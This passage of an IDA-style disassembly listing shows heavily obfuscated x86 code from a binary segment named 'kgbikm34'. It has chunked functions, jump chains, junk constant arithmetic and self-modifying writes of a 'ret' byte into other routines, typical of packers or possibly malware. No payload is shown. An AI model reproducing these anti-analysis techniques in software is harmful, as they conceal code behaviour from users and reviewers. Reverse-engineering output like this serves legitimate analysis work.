var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00438590 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00439574 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043B1AE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043D890 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DA6B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043E363 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043E9B5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043EE5F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440332 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00441998 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004429EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044311C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004444D7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447A4E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447D83 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004491C1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449C32 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A254 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044AAA8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D025 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D93E SIZE 00000005 BYTES

		xchg	eax, [esp-4+arg_0]
		pop	eax
		or	eax, eax
		jnz	loc_43DA6B
		jmp	loc_4491C1
sub_4394EB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4394FC:				; CODE XREF: kgbikm34:0044B4B9j
		pop	esi
		mov	edx, [edx]
		push	edx
		push	eax
; START	OF FUNCTION CHUNK FOR sub_442B15

loc_439501:				; CODE XREF: sub_442B15+8B44j
		jmp	loc_449CE6
; END OF FUNCTION CHUNK	FOR sub_442B15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_439506:				; CODE XREF: sub_44649E-4B71j
		add	eax, edx
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_44CDD6

loc_439512:				; CODE XREF: sub_439587+DBC5j
		jmp	loc_43BAF8
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440488

loc_439517:				; CODE XREF: sub_440488+Cj
		jmp	loc_43C4AD
; END OF FUNCTION CHUNK	FOR sub_440488
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A9AA

loc_43951C:				; CODE XREF: sub_43A9AA+1Dj
		jmp	nullsub_227
; END OF FUNCTION CHUNK	FOR sub_43A9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44368F

loc_439521:				; CODE XREF: sub_44368F+19j
		test	eax, 10000000h
		jmp	loc_448BFF
; END OF FUNCTION CHUNK	FOR sub_44368F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_43952C:				; CODE XREF: sub_43B932:loc_43C5C8j
		sub	edx, 0A1B1175Eh
		add	edx, 7FBDF0E8h
		call	sub_4487F2
		push	eax
		jmp	loc_43DABC
; END OF FUNCTION CHUNK	FOR sub_43B932

; =============== S U B	R O U T	I N E =======================================



sub_439543	proc near		; CODE XREF: sub_443987j

; FUNCTION CHUNK AT 0043CD00 SIZE 0000000B BYTES

		push	ebp
		jmp	loc_43CD00
sub_439543	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_43954A:				; CODE XREF: sub_43E4C0:loc_43E1FBj
		jnz	loc_44AB8F

loc_439550:				; CODE XREF: sub_43CCD0+EE86j
		jmp	loc_44A0B5
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
		mov	ecx, 1A93C79Ah
		mov	[edx], edi
		shr	ecx, 0Bh
		jmp	loc_44AB8F
; ---------------------------------------------------------------------------

loc_439564:				; CODE XREF: kgbikm34:0043DB0Aj
		js	sub_44A987
		mov	[ecx], esi
		shr	ebp, 1Bh
		jmp	loc_44ABFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_439574:				; CODE XREF: sub_4394EB+4E81j
					; sub_4394EB:loc_4444D7j
		push	edi
		mov	edi, eax
		xchg	edi, [esp-4+arg_0]
		lea	eax, dword_438E58
		push	eax
		push	edi
		jmp	loc_447D83
; END OF FUNCTION CHUNK	FOR sub_4394EB

; =============== S U B	R O U T	I N E =======================================



sub_439587	proc near		; DATA XREF: sub_43730F+D636o

var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437777 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438AC9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438BB9 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00438CBB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00438E71 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043A1D2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043ACBB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043AD52 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043B12B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043B2F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BBF8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C669 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CA52 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043D447 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043D784 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DDE5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043E06F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043E7CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F4B8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043FCB3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00440365 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044040E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044058B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004405A9 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00441A02 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441A6F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442599 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00442729 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004444EE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00444EB0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004451A3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00446022 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004462C2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044661A SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0044698B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446CE8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00447140 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00447FE0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004486A5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044915C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004497B0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00449B6D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00449B91 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00449C6C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449EF6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A0CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A34C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044A398 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044A722 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044AA93 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044C663 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044D764 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D97B SIZE 0000000B BYTES

		push	0B0F8AD1h
		pop	edi
		and	edi, 2D434EF0h
		cmp	edi, 0E122D650h
		jmp	loc_441A6F
sub_439587	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B991

loc_43959E:				; CODE XREF: sub_44B991:loc_440CA2j
		add	edx, 6B20DA1Bh
		xchg	edx, [esp+0]
		jmp	sub_43D9B3
; END OF FUNCTION CHUNK	FOR sub_44B991

; =============== S U B	R O U T	I N E =======================================



sub_4395AC	proc near		; CODE XREF: sub_444267-93Bp
					; kgbikm34:0044BEF7j
		xchg	esi, [esp+0]
		pop	esi
		call	sub_43BF6F
		push	edi
		jmp	loc_44A6FF
sub_4395AC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4395BB	proc near		; CODE XREF: sub_440141-2835p
					; kgbikm34:004411CFj

arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 0043790A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E7E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F436 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440197 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004463C3 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00446976 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00449988 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044BFB0 SIZE 00000007 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	edi, 783376A2h
		mov	[edi], eax
		pop	edi
		jmp	loc_43E7E9
sub_4395BB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4395CD	proc near		; CODE XREF: sub_4372E5+3ACCp
					; kgbikm34:00443807j

; FUNCTION CHUNK AT 0043B08F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004450A1 SIZE 00000008 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	eax, 0CAB8F004h
		add	eax, 0F8EC32B6h
		rol	eax, 16h
		jmp	loc_43B08F
sub_4395CD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_4395E5:				; CODE XREF: sub_43E4C0:loc_443EF4j
		mov	eax, [esp+0]
		push	esi
		mov	esi, edx
		call	sub_4416DD

loc_4395F0:				; CODE XREF: sub_438978:loc_444776j
		push	645E22DDh
		pop	eax
		or	eax, 40063830h
		xor	eax, 942ADA8Bh
		push	edx
		pushf
		jmp	loc_43E1E9
; END OF FUNCTION CHUNK	FOR sub_43E4C0

; =============== S U B	R O U T	I N E =======================================



sub_439609	proc near		; CODE XREF: sub_44441C+Dp
					; kgbikm34:00448BABj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00438438 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043A6A4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043AA02 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B39E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043BBC9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043C162 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D411 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043D863 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E153 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EC9D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043F3DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440E06 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044156E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442BF0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004433E9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004434F3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00443DDE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004453A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004455DC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044567F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00446E89 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00447BCA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00447C7F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00447E31 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004480F2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00448247 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044843F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044857E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00448AA4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448AFF SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0044C368 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D2B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E005 SIZE 00000020 BYTES

		xchg	eax, [esp-4+arg_0]
		pop	eax
		push	9255CD5Ch
		pop	esi
		and	esi, 8E7C9AB1h
		cmp	esi, 88C1D1C5h
		jmp	loc_448247
sub_439609	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_439624	proc near		; CODE XREF: sub_43741E+E7E6p
					; kgbikm34:0044A175j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043AA64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CB1A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00441EEC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004424AB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004424BB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445A5C SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0044A78B SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4424BB
		jmp	loc_44A78B
sub_439624	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_439637:				; CODE XREF: kgbikm34:00446539j
		jmp	loc_44CE7C
; ---------------------------------------------------------------------------

loc_43963C:				; DATA XREF: kgbikm34:00439D99o
		push	0A326E044h
		pop	ecx
		or	ecx, 0D9938786h
		sub	ecx, 0ECDCF9ECh
		jmp	loc_440EA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439924

loc_439653:				; CODE XREF: sub_439924+Bj
		xor	eax, eax
		mov	al, [ebp-0Bh]
		mov	ecx, 8
		sub	ecx, eax
		xor	eax, eax
		mov	al, [ebp-9]
		shl	eax, cl
		jmp	loc_44A027
; END OF FUNCTION CHUNK	FOR sub_439924
; ---------------------------------------------------------------------------

locret_43966B:				; CODE XREF: kgbikm34:0044686Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4466A3

loc_43966C:				; CODE XREF: sub_4466A3+1678j
		jmp	nullsub_97
; END OF FUNCTION CHUNK	FOR sub_4466A3
; ---------------------------------------------------------------------------

loc_439671:				; CODE XREF: kgbikm34:00444CC2j
		jnz	loc_44CA98
		jmp	loc_43DC58
; ---------------------------------------------------------------------------
		mov	eax, 0DA4431C0h
		call	sub_43BF6F
		mov	ds:off_41E0B4, eax
		lea	eax, loc_43AEBB
		mov	byte ptr [eax],	0C3h
		jmp	loc_440CAC

; =============== S U B	R O U T	I N E =======================================



sub_43969A	proc near		; CODE XREF: sub_41917B+8Cp
					; sub_43969A+5j
					; DATA XREF: ...
		call	sub_4396AA
		jmp	ds:off_41E0B8
sub_43969A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AFD

loc_4396A5:				; CODE XREF: sub_443AFD+Dj
		jmp	loc_4401E3
; END OF FUNCTION CHUNK	FOR sub_443AFD

; =============== S U B	R O U T	I N E =======================================



sub_4396AA	proc near		; CODE XREF: sub_43969Ap
					; sub_43A23B:loc_43D1A4j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B336 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043F57F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443EEA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004458A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445B29 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004468E0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044C484 SIZE 00000012 BYTES

		pop	edx
		jmp	loc_445B29
sub_4396AA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4396B0:				; DATA XREF: sub_439DCD:loc_447C6Ao
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-0Ch]
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4396C0	proc near		; CODE XREF: sub_4489C5-B555p
					; sub_439DCD:loc_443C53p ...
		jz	sub_43ABF4
		jmp	loc_44442E
sub_4396C0	endp

; ---------------------------------------------------------------------------

loc_4396CB:				; CODE XREF: kgbikm34:00442EE2j
		push	0D59A0DFCh
		pop	esi
		and	esi, 68BF33AEh
		add	esi, 0D282A083h
		rol	esi, 7
		jmp	loc_44020C
; ---------------------------------------------------------------------------

loc_4396E5:				; CODE XREF: kgbikm34:00442792j
					; DATA XREF: kgbikm34:00442788o
		add	ecx, eax
		pop	eax
		mov	ecx, [ecx]
		cmp	eax, ecx
		pop	ecx

loc_4396ED:				; CODE XREF: kgbikm34:loc_441722j
		jmp	loc_43F8E3
; ---------------------------------------------------------------------------

loc_4396F2:				; CODE XREF: kgbikm34:00444140j
		jz	loc_4425B6
		jmp	loc_445D39
; ---------------------------------------------------------------------------
		cdq
		mov	ecx, [edx]
		jmp	sub_437ACB

; =============== S U B	R O U T	I N E =======================================



sub_439705	proc near		; CODE XREF: kgbikm34:00437410p
					; kgbikm34:0043BC78j

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043744D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439126 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043AAC4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043B904 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FD0D SIZE 00000008 BYTES

		xchg	eax, [esp+8+var_8]
		pop	eax
		jno	loc_43AAC4
		mov	eax, [esp+0]
		jmp	loc_43FD0D
sub_439705	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD	"+" TO EXPAND]
		dd 10DD185h, 24348700h,	6EB3DA81h, 44E90152h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_43972B:				; CODE XREF: kgbikm34:004388F0j
		xchg	edi, [esp]
		pop	edi
		pop	edx
		mov	eax, [esp]
		jmp	loc_43F479
; ---------------------------------------------------------------------------

loc_439738:				; CODE XREF: kgbikm34:0043BC67j
		cmp	eax, 799AAEB2h
		jmp	loc_44DBBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440141

loc_439743:				; CODE XREF: sub_440141:loc_43A894j
		sub	eax, 159D738Eh
		jns	loc_43EA5A

loc_43974F:				; CODE XREF: sub_44B47A-12033j
		jmp	loc_43D901
; END OF FUNCTION CHUNK	FOR sub_440141
; ---------------------------------------------------------------------------
		xor	edi, ebx
		pushf
		jmp	loc_440670
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_217. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43975E:				; CODE XREF: kgbikm34:00449139j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-0Ch], 4
		push	offset sub_44BF13
		jmp	locret_443EDF
; ---------------------------------------------------------------------------
		mov	ecx, [edi]
		jmp	loc_445180
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_439776:				; CODE XREF: sub_43CAB5:loc_43A520j
		push	offset loc_43F882
		jmp	nullsub_41
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------

loc_439780:				; CODE XREF: kgbikm34:loc_440654j
		or	edi, 0F90BA4E1h
		add	edi, 4E7F141h
		xchg	edi, [esp]
		jmp	loc_43EF52
; ---------------------------------------------------------------------------

loc_439794:				; DATA XREF: kgbikm34:0044D589o
		mov	eax, [esp]
		push	edx
		push	edi
		push	0B8A71A02h
		pop	edi
		or	edi, 2F50F52Bh
		add	edi, 404CE03Ah
		xchg	edi, [esp]
		jmp	loc_438C2E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		or	ebp, 0EC8FD36Bh
		jmp	sub_43BCAD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DA77

loc_4397C0:				; CODE XREF: sub_44DA77+28j
		push	offset loc_441377
		jmp	loc_43AB3D
; END OF FUNCTION CHUNK	FOR sub_44DA77

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4397CA	proc near		; DATA XREF: sub_448D26o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		call	sub_44262A

loc_4397D8:				; CODE XREF: kgbikm34:0044AE3Fj
		jmp	nullsub_266
sub_4397CA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C198

loc_4397DD:				; CODE XREF: sub_44C198-348Bj
		jmp	loc_4493D6
; END OF FUNCTION CHUNK	FOR sub_44C198

; =============== S U B	R O U T	I N E =======================================



sub_4397E2	proc near		; DATA XREF: sub_44BBC0-3724o

; FUNCTION CHUNK AT 0043D92C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004402FF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00448A02 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044D3F5 SIZE 00000005 BYTES

		push	edi
		push	0FF598C45h
		and	edi, 1D01C50Fh
		jmp	loc_44D3F5
sub_4397E2	endp

; ---------------------------------------------------------------------------

loc_4397F3:				; CODE XREF: kgbikm34:00438C97j
		jb	loc_43D546
		sub	ebp, 388291C0h

; =============== S U B	R O U T	I N E =======================================



sub_4397FF	proc near		; CODE XREF: kgbikm34:00443900p

; FUNCTION CHUNK AT 00441496 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044C7DA SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	0AF8AB5E3h
		pop	ebx
		xor	ebx, 2E21537h
		jmp	loc_44C7DA
sub_4397FF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_439814:				; CODE XREF: sub_448C95:loc_44CC69j
		jz	loc_43746D
		jmp	loc_43BD71
; END OF FUNCTION CHUNK	FOR sub_448C95
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_228. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_439820:				; CODE XREF: sub_43D494+E7F2j
		jmp	loc_443A8A
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

loc_439825:				; CODE XREF: kgbikm34:0044464Bj
		jmp	sub_4391E0
; ---------------------------------------------------------------------------

loc_43982A:				; CODE XREF: kgbikm34:0044BCB1j
		jb	loc_43FF5F
		add	ebp, esi
		adc	ebx, 0BD5A54D2h
; START	OF FUNCTION CHUNK FOR sub_438ACE

loc_439838:				; CODE XREF: sub_438ACE:loc_4430A0j
		or	edx, 0CAB5EC76h
		call	sub_44441C

loc_439843:				; CODE XREF: sub_43F5F7-10AEj
		mov	eax, [eax]
		call	sub_447193

loc_43984A:				; CODE XREF: sub_44772C:loc_439D46j
		mov	byte ptr [eax],	0C3h
		jmp	loc_442BA2
; END OF FUNCTION CHUNK	FOR sub_438ACE

; =============== S U B	R O U T	I N E =======================================



sub_439852	proc near		; CODE XREF: sub_40819D+177p
					; sub_408355+1Cp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A393 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043AFEE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043C22F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043CDE4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F3F3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004437B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443E34 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AA06 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044B647 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C90D SIZE 0000001B BYTES

		push	edi

loc_439853:				; CODE XREF: sub_43BCAD-4AA9j
		push	0DE22286Ch
		pop	edi
		rol	edi, 1
		jmp	loc_43CDE4
sub_439852	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_439861:				; CODE XREF: sub_449D78+3C93j
		jnz	loc_44A9DD
		jmp	loc_43E6E4
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------

loc_43986C:				; CODE XREF: kgbikm34:00448872j
		jnz	loc_43B615
		add	eax, 29B1E8DFh
		and	esi, eax
; START	OF FUNCTION CHUNK FOR sub_4407E7

loc_43987A:				; CODE XREF: sub_4407E7:loc_44B387j
		add	eax, 144F7EB2h
		jmp	loc_4463F0
; END OF FUNCTION CHUNK	FOR sub_4407E7
; ---------------------------------------------------------------------------

loc_439885:				; CODE XREF: kgbikm34:loc_43E437j
		pop	edi
		lea	eax, sub_442E1B
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_43988C:				; CODE XREF: sub_43F5F7:loc_438E92j
		mov	byte ptr [eax],	0C3h
		jmp	loc_437A22
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------

loc_439894:				; CODE XREF: kgbikm34:loc_4394E0j
		xchg	ebx, [esp]
		jmp	loc_439C87
; ---------------------------------------------------------------------------

loc_43989C:				; DATA XREF: sub_440BF9:loc_43EAD1o
		movzx	eax, byte ptr [eax]
		push	offset loc_43B112
		jmp	locret_4420D3
; ---------------------------------------------------------------------------

loc_4398A9:				; CODE XREF: kgbikm34:loc_43D552j
		jz	loc_4498D2
		ror	esi, 19h
		jmp	loc_4498C4
; ---------------------------------------------------------------------------

loc_4398B7:				; DATA XREF: sub_445E00:loc_448D73o
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_44824C
		mov	eax, 92A798AFh
		push	eax
		push	offset sub_44905C
		jmp	loc_442BEB
; ---------------------------------------------------------------------------

loc_4398D1:				; CODE XREF: kgbikm34:0043CD31j
		pop	edi
		lea	eax, sub_44BB9F
		mov	byte ptr [eax],	0C3h
		jmp	loc_446C41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B34A

loc_4398E0:				; CODE XREF: sub_44B34A+4j
		mov	eax, [esp+0]
		push	edx
		call	sub_44661D
		jmp	loc_437363
; END OF FUNCTION CHUNK	FOR sub_44B34A
; ---------------------------------------------------------------------------

loc_4398EE:				; CODE XREF: kgbikm34:0044694Ej
		rol	edi, 0Eh
		push	0CE8103B4h
		xchg	esi, edx
		mov	esi, 54F5B2FBh
		jmp	loc_43FA5A
; ---------------------------------------------------------------------------

loc_439902:				; DATA XREF: kgbikm34:00446865o
		xchg	edi, [esp]
		mov	eax, edi
		pop	edi
		add	eax, 0A3824BC6h
		sub	eax, 0C0FCD3DBh
		jmp	loc_44D202
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_439919:				; CODE XREF: sub_444002-C80Bj
		test	ebx, 7FE2A737h
		jmp	loc_4473B7
; END OF FUNCTION CHUNK	FOR sub_444002

; =============== S U B	R O U T	I N E =======================================



sub_439924	proc near		; DATA XREF: sub_44DE70-EEB6o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439653 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043D601 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00441630 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044440D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00449746 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A027 SIZE 00000005 BYTES

		mov	[ebp-9], al
		mov	al, [ebp-0Ah]
		and	al, 7
		mov	[ebp-0Bh], al
		jmp	loc_439653
sub_439924	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	edx
